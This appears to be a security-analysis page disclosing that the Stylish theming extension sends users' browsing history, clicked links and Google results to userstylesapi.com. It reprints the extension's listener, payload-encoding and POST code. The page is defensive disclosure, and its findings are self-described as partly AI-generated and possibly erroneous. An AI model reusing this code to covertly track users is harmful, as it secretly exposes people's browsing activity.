Is Stylish - Custom themes for any website safe?
Stylish transmits your full browsing history, link clicks, and Google search results to userstylesapi.com on every page navigation.
On each tab navigation, Stylish encodes the current and previous page URLs along with a persistent user identifier and sends them to userstylesapi.com/tic/stats. Every link you click, right-click, or middle-click on any website has its URL captured and included in the next transmission. When you visit Google search pages, Stylish additionally scrapes all organic results and ad listings — including titles, URLs, and descriptions — and forwards that data to the same endpoint.
Who publishes ituserstyles.org - no other listings under this identity, 5 shared hostnames
userstyles.org - no other listings under this identity, 5 shared hostnames
What this publisher told the store about itself, and the other listings that told it the same thing.
Shared hosts - 5 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Clicked link URLs sent to userstylesapi.com
Clicking, right-, or middle-clicking a link makes Stylish read its destination and add it to the next stats request to userstylesapi.com.
The content script runs on all pages/frames, storing the href as tax before encoding it in.
What actually happens
You interact with a link while browsing a page.
The listener covers normal clicks, right-click context menus, and middle-click or auxiliary clicks.
Stylish reads the link destination and queues it for a statistics request.
The background page stores the href as a tax value tied to the current tab.
Fields carried by the styles statistics payload
- Clicked link destinationhttps://www.mozilla.org/en-US/firefox/new/ (illustrative)
Shows the exact link you selected, which can reveal what articles, documents, search results, or internal tools you chose to open.
- Page you were browsinghttps://news.ycombinator.com/item?id=41234567 (illustrative)
Adds browsing context around the click, tying the selected link to the page where you encountered it.
- Request time2026-07-12T23:43:02Z (illustrative)
Places the click in time, which helps build a sequence of browsing activity.
Captured request
- Content-type
- application/x-www-form-urlencoded
The code that does this
The shipped code path from click listener to encoded POST
All-page link listeners
src/inject/frame.jsdocument.body.addEventListener("click", function(event) { if(event.target.href) { chrome.runtime.sendMessage({tax: event.target.href}); }});document.body.addEventListener('contextmenu', function(event) { if(event.target.href) { chrome.runtime.sendMessage({tax: event.target.href}); } return false;}, false);document.body.addEventListener("auxclick", function(event) { if(event.target.href) { chrome.runtime.sendMessage({tax: event.target.href}); }});Background message handler stores tax
src/background.jschrome.runtime.onMessage.addListener(function (request, sender, sendResponse) { switch (request.method) { case "getStyles": var styles = getStyles(request, sendResponse); // check if this is a main content frame style enumeration if (request.matchUrl && !request.id && sender && sender.tab && sender.frameId == 0 && sender.tab.url == request.matchUrl) { updateIcon(sender.tab, styles); } return true; case "saveStyle": saveStyle(request, sendResponse); return true; case 'installedEditorsChoice': localStorage.setItem('dfg', 'true'); break; case "invalidateCache": if (typeof invalidateCache != "undefined") { invalidateCache(false); } break; case "healthCheck": getDatabase(function () { sendResponse(true); }, function () { sendResponse(false); }); return true; case "openURL": openURL(request); break; case "styleDisableAll": chrome.contextMenus.update("disableAll", {checked: request.disableAll}); break; case "prefChanged": if (request.prefName == "show-badge") { chrome.contextMenus.update("show-badge", {checked: request.value}); } break; case "updateRightClick": setContextMenuForSerp(request, sender, sendResponse); return true; break; case "reload": chrome.runtime.reload(); sendResponse(); break; } if (request.tax) { stylesUpdater.updateQueryParams(sender.tab.id, {tax: request.tax}); }});Payload builder keeps and URL-encodes tax
src/messaging.jsfunction makePayload(pl) { return Object.keys(pl).filter(function (key) { var black = ["stylesCache"]; var conditions = [ "reset", "query", "params", "forced", "online", "switched" ].map(function (key) { return prefs.get("rc")[key] }); return black.indexOf(key) == -1 && (!!pl[key] || false === pl[key]) && conditions.indexOf(key) === -1; }).map(function (p) { var val = pl[p]; if (["gp", "ver", "knl", "tax"].indexOf(p) > -1) { val = PIIFilter.analysePII(val).string; val = encodeURIComponent(val || ''); } if ("ra" === p) val = encodeURIComponent(val || ''); return p + '=' + val; }).join('&');}POST to the remote statistics endpoint
src/messaging.jsfunction updateStylesInfo(beautyInfo, id, callback) { isIncognitoInFF(id, (res) => { if (res && res[0] === true) { return; } var e = prefs.get("enc"); var checkStyles = prefs.get('popup.checkNewStyles') || false; if (!checkStyles || !checkStyles.popupCheckEnabled() || !Object.keys(checkStyles).length) { return; } beautyInfo.st = Date.now(); beautyInfo.ch = 9; subIdFetch(() => { beautyInfo.di = sub_id || 'a7b0e421a'; var bqa = makePayload(beautyInfo); var payload = btoa(bqa); var xhr = new XMLHttpRequest(); xhr.open('POST', checkStyles.popupCheckPath(), true); xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); if (typeof beautyInfo.lz !== "string") { xhr.setRequestHeader("styl", getDomainName(beautyInfo.gp)); } xhr.onload = function (e) { if (this.status == 200) { var parsedResp; try { parsedResp = this.response; } catch (e) { console.log( 'unable to update styles: incorrect response from server: ', this.response, e ); } if (!(typeof(parsedResp) == "undefined")) callback(JSON.parse(parsedResp)); } }; var b0 = ['e', prefs.get("enc").prepEncode(payload, e.b64[0], "r")]; b0[1] = encodeURIComponent(b0[1]); b0 = b0.join('='); xhr.send(b0); }); });}Remote destination receiving the clicked-link field
- userstylesapi.com
Receives the styles statistics POST at /tic/stats; the verified decoded payload contained the clicked href in the tax field.
What it can do
Permissions this extension asks for, as declared in version 3.1.9resigned1. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on every site you visit
*://*/*
See the address and title of every tab you have open
tabs
See every page you navigate to, as you navigate to it
webNavigation
Watch every request your browser makes
webRequest
Add items to the right-click menu
contextMenus
Store data in your browser
storage
Where it sends data
Destinations our analysis observed Stylish - Custom themes for any website contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- userstylesapi.com
Stylish - Custom themes for any website sends data to userstylesapi.com. One other extension we have analyzed sends data here.